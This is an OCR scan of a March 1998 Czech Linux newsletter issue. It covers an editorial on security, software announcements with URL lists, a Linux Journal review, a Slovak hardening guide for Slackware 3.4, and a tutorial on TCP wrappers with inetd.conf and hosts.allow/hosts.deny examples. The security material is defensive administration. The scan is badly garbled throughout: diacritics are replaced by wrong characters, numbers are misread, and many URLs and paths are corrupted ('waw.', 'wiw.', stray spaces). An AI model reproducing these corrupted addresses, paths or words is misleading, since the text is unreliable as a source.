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Uvodem
Pavel ,at uz je tohle ¢islo za mnou“ Janik ml., 11. biezna 1998

Bezpecénost. Bezpec¢nost. Bezpecnost. V posledni dobé
slySime toto slovo stale ¢astéji. Po Internetu se totiz po-
hybuje velka spousta citlivych dat, jejichz zneuziti by je-
jich majitelim pfineslo obrovské finanéni ztraty. Ale nejen
po Internetu. Vétsina intranett také obsahuje citlivé udaje,
které je potreba chranit jak pred vnéjsimi, tak i vnitinimi
neprately (ostatné - zeptejte se v NASA ...).

Komeréni systémy poskytujici zabezpeceni dat jsou vel-
mi drahé a nékdy jejich cena dokonce prevySuje pripad-
nou finanéni ztratu zptisobenou tnikem informaci. Jinak je
tomu ve svété Linuxu. Piimo v jeho zdrojovych textech je
zabudovan mechanismus umoznujici firewalling. Tento me-
chanismus popisuje Pavel Kankovsky v ¢lanku mFiltrovani
obdobou, je firewalling na bazi IP Firewall Chains [m#Fi-
rewall v Fetézech.

K bezpecnosti serverd s opera¢nim systémem Linux ta-
ké pomaha balik TCP wrapper, ktery nam predstavi Leo
Hadacz ve svém ¢lanku BT CP wrapper. Vzdaleny pristup
k jiz dokonale zabezpecenému serveru si zajistime progra-
mem Secure Shell, ktery popiSe Jan Pazdziora (m$SSH —
Secure shell).

Zatim tedy dokazeme zabezpecit server zvenci a dokaze-
me se na néj i zvenci prihlasit. Ale jeSté jsme neresili otazku
lokalni bezpecénosti. Té se ve svych ¢lancich dotknou David
Rohleder (¢lanek W Preteceni bufferu) a Pavel Kankovsky
(élanek m]S-bit — zivotu nebezpeéno).

Zatim jsme ponékud zanedbali otazku bezpecnosti slu-
zeb. Nejpouzivanéj§imi sluzbami na Internetu vibec jsou
email a WWW. Bezpec¢nost emailu je zajisStovana mechanis-
mem PGE ktery nam popiSe Petr Kolai v ¢lanku nazva-
ném Pretty Good Privacy. (Ne)bezpeénosti protokolu
HTTP se budeme vénovat v nékterém z pristich ¢isel Linu-
xovych novin.

V bieznovém ¢isle Linuxovych novin dale najdete druhy
dil serialu o dokumentaci v Emacsu od uznavaného odbor-
nika Milana Zamazala (m»Emacs? Help! (2.¢ast)) a také
pokracovani serialu o RPM, jehoz autorem je Jan ,Yenya“
Kasprzak (m$lziskavani informaci z databaze RPM).

Mezi pravidelné rubriky Linuxovych novin patii [mMeé-
sic v comp.os.linux.announce a [@Co nového na sunsi-
te.unc.edu?. Petr Barta se ujal rubriky mLinux Journal.

Petr Ol$4k ndm ve svém ¢lanku [mI.inux na katedie ma-
tematiky FEL CVUT predstavi Linux tak, jak jej asi neznate
— jako pracovni a aplikaéni server pro celou fakultu. Clanek
Petra Olsaka je dalsim dikazem toho, Ze pii koupi nového
programového i technického vybaveni se vyplati uvazovat
a vybrat nejvyhodnéjsi, nikoli nejdrazsi, variantu.

No a nakonec se muzete troSku pousmat, protoze budete
jisté unaveni ¢etbou pravdépodobné nejobsahlejsiho éisla
Linuxovych novin.

A konecéné se mohu jit vénovat své pritelkyni ... |
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Meésic v comp.os.linux.announce
Pavel Janik ml., 1. birezna 1998

Meésic unor byl v konferenci comp.os.linux.announce po-
meérné rusny, vzdyt digesty z konference maji velikost skoro
T00kB. Pustme se tedy hned do novinek ve svété operacni-
ho systému Linux a free softwaru.

A.E. Brouwer (aeb@win.tue.nl) uvolnil novou verzi pro-
hlize¢e manualovych stranek man 1.5. Prohlizec¢ je k dispo-
zici na obvyklych mistech, napt. na adrese [(1)] Nova verze
obsahuje i ¢eské zpravy (ackoli chybné v adresari cz mis-
to cs). man 1.5 také obsahuje program man2html, ktery
umoziuje prevod z formatu groff do formatu HTML.

Sandro Serafini (sersa@molly.sci.univr.it) naprogramo-
val novy editor Zed [(2)] Zed je podle svého autora velmi
jednoduchy, rychly, vykonny, maly, vysoce konfigurovatel-
ny a malo naroény na vykon procesoru. Autor se tedy po-
kousi konkurovat editoru vi, uvidime, jak se mu to podaii.
ZED podporuje slupcové bloky, obarvovani syntaxe (C++,
HTML, TgX, Java, mail), vice oken/bufferd, zavorkovani,
dosové konce radkid, makra, editaci v hexadecimalnim moé-
du. (Nebo snad chce konkurovat i Emacsu?)

Andrew M. Bishop (amb@gedanken.demon.co.uk) vy-
tvoril program XBomb 2.1[(3)] ktery se az napadné podoba
programu MineSweeper standardné dodavanému s Micro-
soft Windows. Program bézi pod X-Windows. Oproti jinym
programim umoznuje zvolit i jind nez ¢tvercova pole. (Ja
jsem zkousSel pouze trojuhelniky a muzu Fici, ze je to po-
meérné obtizné ...)

Linux Software Database (LSDB) byla presunuta na no-
vou adresu[(4)l LSDB je prohleddvatelna databaze progra-
mového vybaveni pro operac¢ni systém Linux.

Spoleénost EKlektix, Inc. oznamila, Ze bude pravidelné
vytvaret a obnovovat stranku Linux Weekly News|[(5)] Zatim
se ji to dari.

Alexander Zimmermann oznamil vytvoreni bindrni dis-
tribuce baliku ImageMagick 4.0.1. Detailni popis tohoto ba-
liku a jeho schopnosti naleznete na adrese[(6)] Binarni sou-
bory jsou linkovany proti glibc, naleznete je na adrese[(7)]

Bruce A. Locke (blocke@lizard.org) vytvoril novou mi-
nidistribuci Linuxu - tentokrate se jedna o instalaci
na UMSDOS filesystému (tedy na jakémkoli DOSu, Win-
dows.) Podporovany jsou jak FAT16 a FAT32, tak i VFAT.
Instalace se jmenuje FireMyst a autor o ni napsal:

Installation of FireMyst is as easy as just unziping
a file!

Instalace distribuce FireMyst je stejné jednoducha
jako rozbaleni souboru.
Bruce A. Locke v announci distribuce FireMyst

Paul Russell (rusty@paul.tattersalls.com.au) vytvoril
patch pro jadro verze 2.0.33, ktery umoznuje vyuzivat IP Fi-
rewalling Chains. Jedn4 se o kompletni prepis IPv4 firewallu
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v jadre. Patch je doplnén o nahradu klasického programu
ipfwadm. Vice informaci naleznete na adrese

Damian Bentley (dbentley@turing.une.edu.au) uvolnil
dalsi beta verzi svého patche pro sendmail, ktery umoznu-
je kryptovanou komunikaci mezi dvéma (stejné opatchova-
nymi) sendmaily. RFC popisujici protokol jejich komuni-
kace uz je ve fazi pripravy. Patch najdete na adrese

Marsel Osipov (marsel@lex.infi.net) hleda dobrovolniky,
ktefi mu chtéji pomoci pii vyvoji 3D-modelovaciho baliku
Virtuoso. Pokud mate zajem, podivejte se na adresu [(I1)]

Linbot 0.3 je skvélou pomuckou pro webmastery - umoz-
nuje totiz zobragzit strukturu WWW serveru, sledovat ne-
spravné odkazy, dokaze najit staré WWW stranky, zobra-
zit, seznam odkazi na jiné WWW servery, zobrazit pouziva-
né obrazky, délat vSe zminéné pravidelné a bez uzivatelova
pri¢inéni. Tento mocny nastroj naleznete na adrese

Paul Ashton (paul@argo.demon.co.uk) oznamil vytvore-
ni nového mailing listu, ktery se zabyva pouzivanim Samby
jako NT domain controlleru. Vice informaci o mailing listu
i jeho archiv naleznete na adrese[(13)]

S. Mark Black (sblack@ee.ryerson.ca) oznamil novou
verzi baliku MAT (Monitoring and Administration Tool),
distribuovaného systému uréeného pro spravu UNIXovych
serverd pomoci jednotného GUI. Systém umoziuje spra-
vu databéazi uzivateld, skupin, /etc/hosts, exportovanych
svazkl, /etc/motd, DNS, /etc/services, cron, NIS, dis-
kového prostoru, prihlaSovani, routovacich tabulek. Mezi
hlavni vyhody patii moznost spravy vice pocitac¢u z jedné
konzoly. Podrobnéjsi informace naleznete na adrese

Christopher Neufeld (neufeld@physics.utoronto.ca) oz-
namil novou verzi popularniho perlovského skriptu Distri-
bute [(I5)] Tento skript umoznuje rozlozit zatéz na vice po-
¢itadu. Skript byl pry vyzkousen i na kompilaci jadra Linu-
XUu.

Spole¢nost Xi Graphics nabizi 25% slevu na celou fadu
svych produktd pro $koly, akademické pracovniky a stu-
denty. Vice informaci najdete na adrese

Falko Braeutigam (falko@softwarebuero.de) oznamil no-
vou verzi integrovaného vyvojového prostiedi WipeOut,
které je nadstavbou nad CVS, make, gbd, JDK a prekladac.
WipeOut obsahuje textovy editor, prohlize¢ tfid i projektu
apod. Informace naleznete na adrese [(I7)]

Eugene O’Neil (eugene@cs.umb.edu) vytvoril knihovnu
XTC (X Tool Collection). XTC je knihovna pro X-Window
napsana v ,pure“ Javé. Knihovna neni zavisla na existuji-
cich C knihovnach, jako Xlib nebo Motif, méla by je kom-
pletné nahradit. XTC nepouziva standardni AWT, ale pri-
mo komunikuje s displayem pomoci TCP socketli. Knihov-
nu a dal$i informace o ni naleznete na adrese [(18)]

Ian Hutchinson (hutch@PSFC.MIT.EDU) oznamil novou
verzi svého programu Tth, konvertoru z TgXu do HTML.
Program naleznete na adrese((19)

Datapult/PF 2.02[(20)]je novy, vykonny skriptovaci jazyk
pro vytvareni HTML stranek on-line.

Any task that can be done in C, Java, or Perl can
usually be done in PF with far less effort.

Kazda uloha, ktera muze byt udélana v jazyce C,
Javé nebo Perlu, mize byt obvykle zhotovena

i v PF s mnohem mensi namahou.

Roger Gonzalez v announci Datapult/PF 2.0

Leonard N. Zubkoff (Inz@dandelion.com) oznamil novou

verzi svého ovladace pro SCSI radi¢ce BusLogic MultiMas-
ter a FlashPoint. Ovladaé¢ najdete na adrese

Robert Wilhelm oznamil kone¢nou verzi knihovny Free-
Type, ktera slouzi k praci s TrueType fonty. Najdete ji na ad-
rese[(22)]

KDE Beta 3[(23)] byla uvolnéna 1.Uunora.

M. Leo Cooper (thegrendel@theriver.com) vytvoril dalsi
verzi Software Building mini-HOWTO, ve kterém se dozvi-
te, jak kompilovat a instalovat vétSinu programového vyba-
veni pro Linux. Dokument naleznete na adrese nebo
na c¢eském zrcadle [(Z5)]

Program Webalizer, ktery slouzi k analyze logovacich sou-
bord HTTP servertl, ma evropsky mirror na adrese [(26)]

H. J. Lu (hjl@lucon.org) oznamil novou verzi knihovny
libc - 5.4.44. Knihovnu naleznete na adrese [(27)]

Hra Freeciv uz existuje ve verzi 1.5. Jedna se o hru ne
nepodobnou znamé hre Civilization. Naleznete ji na adrese
(28)

Carlo Strozzi (carlos@tango.uu.ml.org) je autorem nové-
ho databazového systému NoSQL [29)}

Michael Hoennig (mhoennig@on-line.de) vytvoril neofi-
cialni ,,Casto kladené otazky* StarOffice 4.0. Dokument na-
leznete na adrese [(30)]

David Hinds (dhinds@zen.stanford.edu) uvolnil verzi
3.0.0 baliku PCMCIA Card Services - kone¢né budu mit
na svém notebooku oficidlni verzi a zadné své hacky (no
dobre, zase tak horké to nebude - verze 3.0.0 nejde kom-
pilovat s 2.1.89, ale uz je k dispozici patch). Balik najdete
na obvyklych mistech [31)]

Paul Sheer (psheer@obsidian.co.za) zdokumentoval po-
stup Kickstart instalace Red Hat Linux 5.0 pres paralelni
laplink (PLIP) na adrese [ |

1 Man 1.5
ftp://ftp.win.tue.nl/pub/linux/util
2 Textovy editor ZED
http://space.tin.it/io/saserafi/zed
3 XBomb 2.1
http://waw. gedanken. demon. co.uk/xbomb/
4 Linux Software Database
http://www.egypt.pca.net
5 Linux Weekly News
http://www.eklektix.com/lwn/
6 ImageMagick
http://www.wizards.dupont.com/cristy/ImageMagick.html
7 FTP server s balikem ImageMagick
ftp://ftp.wizards.dupont . com/pub/ImageMagick/linux
8 UMSDOS distribuce FireMyst
http://waw.lizard.org/dragonlinux/
9 Linux Generic IP Firewalling Chains
http://wiw.adelaide.net.au/ rustcorp/ipfuchains/
10 Secure Sendmail
ftp://mcs.une.edu.au/pub/ssmail
11 3D-modelovaci balik Virtuoso
http://www.geocities.com/SiliconValley/Lakes/7705/
12 Linbot 0.3
http://homel.gte.net/marduk/linbot/index. html
13 Samba domain controller — mailing list
http://samba.anu.edu.au/listproc/
14 MAT 0.15
ftp://sunsite.unc.edu/pub/Linux/systen/adnin/frontends
15 Distribute
ftp://caliban.physics.utoronto.ca/pub/linux
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http://www.eklektix.com/lwn/
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ftp://ftp.wizards.dupont.com/pub/ImageMagick/linux
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http://samba.anu.edu.au/listproc/
ftp://sunsite.unc.edu/pub/Linux/system/admin/frontends
ftp://caliban.physics.utoronto.ca/pub/linux
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16 Xi Graphics
http://ww.xig.com
17 WipeOut 1.1h
http://www.softwarebuero.de
18 X Tool Collection
http://www.cs.umb.edu/"eugene/XTC/
19 Tth
http://hutchinson.belmont.ma.us/tth/tth. html
20 Datapult/PF 2.02
http://datapult.com/products/pt/
21 Ovladac¢ pro BusLogic MultiMaster
http://www.dandelion.com/Linux/
22 FreeType font engine
http://www.physiol.med.tu-muenchen.de/ robert/freetype. html
23 The K Desktop Environment
http://www.kde.org
24 Software Building mini-HOWTO
http://sunsite.unc.edu/LDP/HOWT0/mini/Sof tware-Building
25 Software Building mini-HOWTO na TEN-34 CZ
http://www.linux.cz/linuxdoc/HONT0/mini/Sof tware-Building
26 Evropské zrcadlo programu Webalizer
http://samhain.unix.cslab.tuwien.ac.at/webalizer/
27 Libc 5.4.44
ftp://tsx-11.mit.edu/pub/linux/packages/GCC
28 Freeciv 1.5
http://www.daimi.aau.dk/"allan/freeciv.html
29 NoSQL
ftp://ftp.linux.it/pub/database/RDB/nosql-0.8.tar.gz
30 StarOffice FAQ
http://www.on-1line.de/ michael.hoennig/
31 PCMCIA Card Service
ftp://hyper.stanford.edu/pub/pencia/pencia-cs-3.0.0.tar. gz
32 Red Hat Kickstart - PLIP instalace
ftp://sunsite.unc.edu/pub/Linux/system/install/

Co nového na sunsite.unc.edu?
Pavel Janik ml., 7. birezna 1998

X11

X11/desktop/FileRunner-2.4.2.tar.gz, filemanager
s vestavénou podporou FTP

X11/fonts/Xfstt-0.9.7.tgz, X FontServer pro fonty *.ttf

apps

apps/graphics/rays/BehemotEditor0.8.0.tar.gz, program
pro ray tracing

apps/sound/mixers/rqmixer-1.4.tar.gz, mixazni program
pro X-Windows (pouziva knihovnu Qt)

apps/www/mirroring/pavuk-0.7pl3.tgz, mirrorovaci balik
pro HTTP/FTP/Gopher

commercial

commercial/IPAD.0.5.03.Linux.2.0.i486.X11R6.3.tgz,
yinteligentni“ vektorovy Kkreslici program

system

system/mail/listservs/BeroList-2.5.5.tar.gz, jednoduse
konfigurovatelny listserver

system/network/serial/ppp/PPPKit-0.7.tar.gz, perlovsky
program generujici chat script pro PPP pripojeni

system/serial/acua-2.03-1.src.rpm, Fizeni pristupu
a administrace pro sériové linky

utils

utils/compress/TkZip-0.9.18b.tar.gz, grafické rozhrani pro
rizné komprimacni a zalohovaci programy
|

Linux Journal
Petr Barta, 3. brezna 1998

Hlavnim tématem tinorového Linux Jour-
nalu jsou databaze. Rolf Herzog se ve svém
¢élanku vénuje databazi PostgreSQL, jejim
funkcim, programovému rozhrani a spolu-
praci s WWW serverem.

Balik @ddb, umoznujici rychlé vytvareni
databazi, jejich prohlizeni, generovani vy-
stupt apod., predstavuji Eric Herrin a Gil

V{J/
JOURNAL

—

Im Unux saves the Tianic

Benson.

Jak pouzit databazovy systém /rdb (nejen) k analyze logl
WWW serveru ukazuje ve svém c¢lanku Ed Petron.

Databazi Beagle SQL popisuje jeji autor, Rob Klein, v po-
slednim ¢lanku vénovaném tématu cisla.

Pravdépodobné kazdého uzivatele Linuxu zaujme a po-
tési text Darylla Strausse o technické strance zpracovani
vizudlnich efektd pro film Titanic.

Prvni ¢ast seridlu vénovaného sitovému programovani
v Linuxu se zaméruje na principy sitovani a BSD sockety.
Autory serialu jsou Ivan Griffin a John Nelson.

Ctvrtou éasti se uzavira serial Michaela J. Hammela
o programu GIMP. Tentokrat autor podrobné popisuje jeho
nastroje (toolbox), pluginy a klavesové zkratky.

Pro zacateéniky muze byt uzite¢ny ndvod Jonathana
Walthera, jak spravné nastavit svilj systém pro pfijem pos-
ty.

Randy J. Yarger ukazuje programovani modulll v Apa-
chi a spolupraci s mSQL - to vSe na piikladu webovského
poéitadla.

Jak posilat data z WWW formuléit jako pfilohu k dopisu,
ale tfeba i jak provadét pomoci WWW upload soubort na
server se muzete dozvédét v élanku Reuvena M. Lernera.

Linux Journal samoziejmé obsahuje jeSté dalsi re-
cenze a spoustu inzeratd. Jako €lovéka snaziciho se nau-
¢it PERL mne zaujal prehled knih o PERLu od nakladatel-
stvi O’Reilly, z nichZ jedna (Programovani v PERLu) vySla
i v ceském prekladu. [ |

1 Linux Journal
http://waw. linuxjournal. com

Niekol'’ko krokov k zvySeniu bezpec¢nosti Li-

nuxu Slackware 3.4
Stefan Simko, 4. biezna 1998

Za bezpeénost budem v tomto ¢lanku povazovat su-
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bor opatreni zabezpecujicich, Ze nikto neziska kontrolu
nad mojim pocitacom, neznefunkéni ho ani ho nepouzije
k Gtoku na iny systém. Tento ¢lanok je zamerany na Slac-
kware 3.4. VaéSina krokov, ktoré teraz uvediem, sa nety-
ka len Slackware, ale Linuxu v§eobecne. Slackware je jed-
na z najznamejSich a najpouzivanejSich distribucii Linu-
xu. Je udrziavany na Walnut Creek. Jeho domaci archiv
je na ftp.cdrom.com a ma mnozstvo mirrorov. Zakupit sa
da na www.cdrom.com, www.lsl.com, www.cheapbytes.com.
Na poslednych dvoch stoji len 2 — 3 dolare, avsak s poStov-
nym a clom sa moéze predrazit aj na viac ako 500 Sk.

Prva pomoc

o Nastavenie rootovho hesla. Toto je veI'mi dolezité, pre-
toze jeho vlastnik ma Uplna kontrolu nad systémom.
Heslo by malo mat prinajmensom 6 znakov, odporu-
¢am vSak 8, malo by obsahovat vel'ké, malé pismen4,
¢isla a vhodny je aj nejaky nealfanumericky znak. Ne-
malo by to byt ziadne zrozumitelné slovo ani rodné
¢islo. Hackerské slovniky a programy sa takisto vedia
vyrovnat aj so substiticiami typu L-1, E-3,0 -0
a podobne.

e Odstranenie bugov dodavanych v distribucii. Slack-
ware 3.4 sa dodava s bugovym dillon crontab/crond.
Po instalacii hned nahradime cely balik bin.tgz za novy
patchnuty z adresy [(I)] Ak mienime vyuzivat POP3, je
vhodné namiesto dodavaného pouzit nejaky iny, dobré
skusenosti mam s qpopperom, ktory sa da najst na ad-

rese[(2)]

e Vyhodenie zbyto¢nych daemonov z /etc/rc.d/rc. *.
Obzvlast sendmail a sietovi daemoni v rc.inet2.
Co naozaj nepotrebujeme, to nema zmysel spustat
a ochranime sa aj pred rizikom, ze niekedy v bud-
ucnosti sa objavi exploit prave na nasu verziu dae-
monov. Zaroven aj Setrime pamat servera.

e To isté pre sluzby a daemonov v /etc/inetd.conf.
Sluzby, ktoré sme ponechali, by mali byt oklieStené
pomocou /usr/sbin/tcpd TCP wrappera.

e Nastavenie sietovych pristupovych prav pre sluzby,
ktoré sme nechali v /etc/inetd.conf. Robi sa to
pomocou konfigura¢nych siborov /etc/hosts.allow
a /etc/hosts.deny, ktoré si konfiguracné suibory
tcpd. Cim menej poéitatom alebo sietam povolime
pristup, tym menej 'udi ma prilezitost na nas utocit.

o Okamzity prechod na kernel aspon 2.0.33. Predcha-
dzajuce verzie obsahuju bugy v TCP/IP implementa-
cii, ktoré umoznuju hocikomu zo siete zhodit Linux
a tym mu znemoznit poskytovat sluzby (Denial Of Ser-
vice Attack). Co sa tyka kernelu, nezmenit nastavenie
Drop Source-routed Frames, ktoré chrani ostatné po-
¢itace od utokov cez nas pocitac.

o InStaldcia najnovsej verzie sendmailu z[(3)] Obzvlast
dolezité, pretoze sendmail je velmi komplexny pro-
gram plny bugov. Napriek tomu je vSak éasto nutné
ho pouzit, preto je dolezité mat nainstalovanu posled-
nu verziu.

o InStalacia ssh alebo iného programu zabezpecéujice-
ho, Ze hesla ani ziadna komunikacia nejde po sieti ne-
zaSifrovana.

e Odstranenie identifika¢nych znakov Linuxu. AK ne-
prezradime, Ze pouzivame Linux, vyhneme sa utokom
typu: ,Je novy exploit na Linux, vyhladajme vSetky
Linuxy na dosah a hacknime ich“. Ako sa da najst
Linux? Pomocou login bannerov v /etc/issue.net,
pomocou SNME sendmail, ftpd atd., pomocou hr-
dych bannerov ,Linux inside“ na WWW strankach
a hlavne podla mena servera, ako napriklad [i-
nuxr.na.univerzite.sk, ¢o umoznuje skuto¢ne masové
automatické hl'adanie Linuxov.

Trvalo udrzate'na bezpecnost

e NainStalovat software, ktory pravidelne (z cronu)
kontroluje bezpec¢nost systému. Napriklad kontrolu
setuid programov, privilégii a vlastnictva systémovych
suborov vykonava cops. Dobry program na kontrolu
zmien roznych parametrov siborov, ako éasu vytvore-
nia, poslednej zmeny, posledného pristupu, dizky, zme-
ny obsahu atd. je tripwire (obidva najdete na adre-
se [@). Tripwire treba nakonfigurovat aby monito-
roval tie subory ktoré potrebujeme. Databazu kont-
rolnych suctov si treba skopirovat na nejaky iny poci-
tac, aby hackeri po zmene suborov nevykonali upda-
te databazy. Pravidelne kontrolovat hesla uzivatel'ov
pomocou programu crack. Napisat si alebo pohladat
nejaku kontrolu /var/log/syslog na zlé pokusy o su,
/var/adm/wtmp na neStandardné adresy.

o Sledovat diskusné skupiny a mailing listy zamerané na
bezpecnost, napr. bugtraq, linux-security, CERT
advisories, SNI advisories, LOpht advisories.

o Pouzivat tazké hesla, ktoré sa nedaji uhadnut, odpor-
Uca sa aspon jeden nealfanumericky znak, vel'ké, malé
pismena a ¢isla.

e Nedavat SUID bit programom, ktoré ho nepotrebuju
alebo bez ktorych sa zaobideme.

o Ucit sa, ucit sa, ucit sa, stale je nieco nové. Nenechat
sa ukolisat pocitom, ze sme spravili vSetko a ze sme
dobri (tusim som zasiel do ideolégie).

Paranoia

Ak mate temné tusSenie, Ze to stale nestaci a nemozete sa
zbavit pocitu, Ze niekto ide po vas, mozte napriklad pre-
ventivne upravit svoj kKernel:

e Vyhodit z drivera sietovej karty kod prepinajuci
do Promiscuous Mode, ktory umoznuje odchytavat
z ethernetu packety. Takto dost stazite niekomu, kto
hackol vas pocéitac¢, atoky na d'al'Sie pocitace pomocou
zachytenych hesiel.

e Vyhodit pouzivanie modulov.

o Nastavit v kerneli kvoty na pocet procesov, uzivatelov,
proces/uzivatel, paméat/proces atd., aby nam uzivate-
lia nemohli zhodit systém obyc¢ajnym programom alo-
kujucim pamét alebo procesy.

e Vykonat zopar patchov (napady podla Phracku 52 -
[G)):

- Znemoznit userom vidiet info o procesoch (dobry
napad).
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- Znemoznit exec inych fajlov ako boli explicitne
povolené (dost restriktivne).

- Ochrana pred Utokmi s pretekajucim bufferom.

- Rozvrstvenie pravomoci na niektoré operacie
(potom netreba root privs) vytvorenim Special-
nych groups na bindovanie na port < 1024, vy-
tvaranie raw socketov.

|

1 Patch bin.tgz pro Slackware 3.4
ftp://ftp.cdrom. com/pub/linux/slackware-3.4/slakware/a2
2 Qpoper
http://wiw.eudora. con/freeware/qpop. html
3 Sendmail
http://www.sendmail. org/
4 Cert.org
http://waw.cert.org/
5 Phrack 52
http://www.phrack.com/52/

TCP wrapper

Leo Hadacgz, 11. birezna 1998

Instalaci tohoto baliku lze znac¢né zvysit odolnost insta-
lace systému proti rdznym utokum ze sité, nebot pomoci
tohoto baliku je mozné monitorovat a filtrovat prichazejici
pozadavky pro sitové sluzby SYSTAT, FINGER, FTE TEL-
NET, RLOGIN, RSH, EXEC, TFTE TALK a jiné. Jadrem
baliku je sitovy démon tcpd. Anglické slovo ,wrapper” zna-
mena néco jako ,prepinac¢“. Takto se skutec¢né da charak-
terizovat ¢innost tohoto démona. Vysvétlime si ji pozdé-
ji na prikladu komunikace mezi klientem a serverem pro
sluzbu FINGER. Vzhledem k tomu, Ze neexistuje (pokud
je mi znamo) ustaleny cesky ekvivalent k terminu wrap-
per, budu v dalSim textu pouzivat tento anglicky vyraz.

Mezi funkce wrapperu patri:

1. ovérovat platnost jména klientského pocitace
2. ovérovat platnost IP adresy Klientského pocitace

3. zjiStovat identitu uzivatele (pokud je to mozZné)
na strané klienta podle protokold popsanych v doku-
mentu RFC 931 (a dalSich) (client username lookups)

4. pomoci tzv. tabulek kontroly pristupu (access control
tables) zakazat pouziti nékterych sluzeb od nékterych
pocitacu.

Je pozadovano, aby démoni odpovidajici na sitové poza-
davky, byli spousténi pomoci néjakého specialniho serveru,
jako je (ve vétsiné pfipad) démon inetd. Wrapper vyuziva
nastaveni tzv. programového rozhrani TLI (transport level
interface), pokud je k dispozici.

Jak to pracuje

Témeér vSechny aplikace provozované na protokolu TCP/IP
jsou zaloZeny na modelu Klient-server. Napf. pokud néja-
ky uzivatel zad4 na lokalnim pocitac¢i piikaz telnet (Kli-
ent), aby se pripojil na vzdaleny pocitaé, je na tomto poci-
taci spustén proces (server), ktery umozni navazani spoje-
ni. Pfiklady programu Klient-server jsou v tabulce [WPii-
klady architektury Klient-server.

| Klient | server | aplikace |

telnet | telnetd | vzdalené prihlaseni
ftp ftpd prenos souboru
finger | fingerd | vypis uzivatelu

Tabulka 1: Priklady architektury klient-server

Vétsinou je na strané serveru spustén jediny démon, kte-
ry ¢eka na vSechny piichozi zadosti o spojeni. Tento démon
se vétSinou jmenuje inetd. Jakmile je spojeni navazano,
inetd spusti piislusny server a zacne opét ¢ekat na dalsi
pozadavky.

Programy typu wrapper funguji na jednoduchém princi-
pu. Misto aby inetd spustil hned prislusny server, inetd
spusti wrapper a jako parametr mu preda jméno serve-
ru, ktery se mél pivodné spustit. Wrapper pak zazname-
na do néjakého souboru (logu) jméno a adresu klientského
pocitace a muze téz provést dalsi kontrolni ¢innosti. Kdyz
tyto ¢innosti probéhnou dobie, wrapper spusti prislusny
server a sam skon¢i.

Programy typu wrapper maji svoje vyhody i nevyhody.
Mezi vyhody patii to, ze wrapper je nezavisly jak na Kli-
entovi, tak na serveru, takze tyto programy nejsou zavislé
na aplikaci, 1ze je pouzit (s jistym omezenim) na jakéko-
liv internetové sluzby. Kromé toho jsou wrappery pro Kli-
enty neviditelné (prinejmensim pro autorizované Klienty).
Vyhodné je rovnéz to, ze wrapper je aktivni pouze prii ini-
cialnim kontaktu mezi klientem a serverem, takze jakmile
wrapper splni svoji ulohu, nevznika dalsi overhead (tj. ,,nad-
byte¢na data“) v komunikaci mezi klientem a serverem.

Jednoduchy mechanismus funkce wrapperu ma vSak
jednu velkou nevyhodu. Wrapper viceméné nelze pouzit
pro servery, které obhospodaruji vice nez jednoho Kklien-
ta. Wrapper by totiz mél efekt pouze na Kklienta, ktery prvni
kontaktuje server. Typickym piipadem je NFS mount dé-
mon. V nékterych pripadech ma vSak pouziti napr. pristu-
povych tabulek implementovan primo server, nebo lze né-
kdy pouzit pomocny software, ktery tuto nevyhodu elimi-
nuje.

Wrapper zaznamenava informace o zadostech a prubé-
hu pfipojeni do logovacich soubord s vyuzitim logovaciho
démona, ktery se vétSinou jmenuje syslogd (viz manova
stranka syslogd(8)). To, do kterého souboru je informa-
ce ukladana, zaleZi na konfiguraci logovaciho démona. Ta-
to konfigurace je zpravidla v souboru /etc/syslog.conf.
V distribuci Red Hat Linux wrapper zapisuje hlasky vétsi-
nou do souboru /var/log/messages.

Wrapper lze nastavit nékolika zpusoby. Nejbéznéjsi pii-
stup je zména v souboru /etc/inetd.conf. Uvedeme si
nyni slibeny priklad se sluzbou FINGER.

Plvodni polozka v souboru /etc/inetd.conf mohla vy-
padat napr. takto:

nowait nobody \
in.fingerd

finger stream tcp
/usr/sbin/in.fingerd

Abychom uvedli v ¢innost program tcpd, zménime pu-
vodni polozku takto:

nowait nobody \
in.fingerd

finger stream tcp
[usr/sbin/tcpd

Nyni tedy pii pozadavku na pripojeni sluzbou FINGER


ftp://ftp.cdrom.com/pub/linux/slackware-3.4/slakware/a2
http://www.eudora.com/freeware/qpop.html
http://www.sendmail.org/
http://www.cert.org/
http://www.phrack.com/52/
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nebude hned spu$tén program in.fingerd, ale program
tcpd.

Pokud je démon pro danou sluzbu uveden bez cesty,
tcpd jej hledd v adresari, ktery byl nastaven v konstan-
té REAL_DAEMON_DIR (lze ji zadat pred prekladem progra-
mu), coZ je v Red Hat Linux 5.0 adresar /usr/sbin. Lze
vSak pouzit i absolutni cestu:

ntalk dgram udp wait  root \
[usr/etc/tepd /usr/local/lib/ntalkd

Po této zméné musime zaslat signal HUP procesu inetd,
aby se zména projevila. U¢inime tak napi. prikazem

killall -HUP inetd

Tabulky kontroly pristupu

Program tcpd je v distribuci Red Hat prelozen s podporou
kontroly pfistupt, kterd je realizovana pomoci dvou soubo-
ri: /etc/hosts.allow a /etc/hosts.deny. Tyto soubory
se vétsinou oznacuji jako tabulky kontroly pristupu. Tyto
soubory obsahuji pravidla urcéujici, ktera pripojeni od kte-
rych pocitaéd maji byt akceptovana a Kktera ne. Tyto ta-
bulky jsou vyuzivany i nékterymi dalSimi programy, jako je
napr. ssh (alespon podle mych zkuSenosti), které pomoci
démonu tcpd spoustény nejsou. S timto je treba pocitat.
Kdyz napr. povolime jen nékteré démony, které vycteme ze
souboru /etc/inetd.conf, musime byt pripraveni na to,
ze mozna nepojedou nékteré jiné véci. Potom vsak staci pii-
slusné sluzby doplnit. Napi. budeme chtit zakazat vSech-
ny sluzby volané démonem inetd pro pocitaé¢ se jménem
anchor.env.cz. Naeditujeme tedy soubor /etc/hosts.deny
a dame do néj pravidlo

ALL: anchor.env.cz

Zjistime vS$ak, Ze se na nas pocitaé nelze z jmenovaného
poéitace pripojit pomoci programu ssh. Dale se nam neli-
bi, Ze najednou nejdou na pocitaci anchor montovat disky
z naseho pocitace. Je to proto, ze tabulky kontroly pristu-
pu ovliviuji i program portmapper, ktery je pro monto-
vani diskd potiebny. Sluzbu programu portmapper musi-
me tedy rovnéz povolit. Tato sluzba se oznacuje retézcem
,portmap*“. Nase pravidlo tedy upravime takto:

ALL EXCEPT sshd,portmap: anchor.env.cz

Nyni by jiz mély vySe zminéné véci fungovat.
Oba soubory mohou obsahovat vice pravidel. Pravidla
maji obecné tvar

<seznam démond> : <klientské poZitage> \
[ : <pfikaz shellu> ]

Cast v hranatych zavorkach je nepovinna. Prvky sezna-
mu mohou byt oddéleny ¢arkou nebo mezerou. Je mozno
pouzivat napr. tyto wildcards:

e ALL - univerzalni wildcard, vyhovuje (match) vSemu.

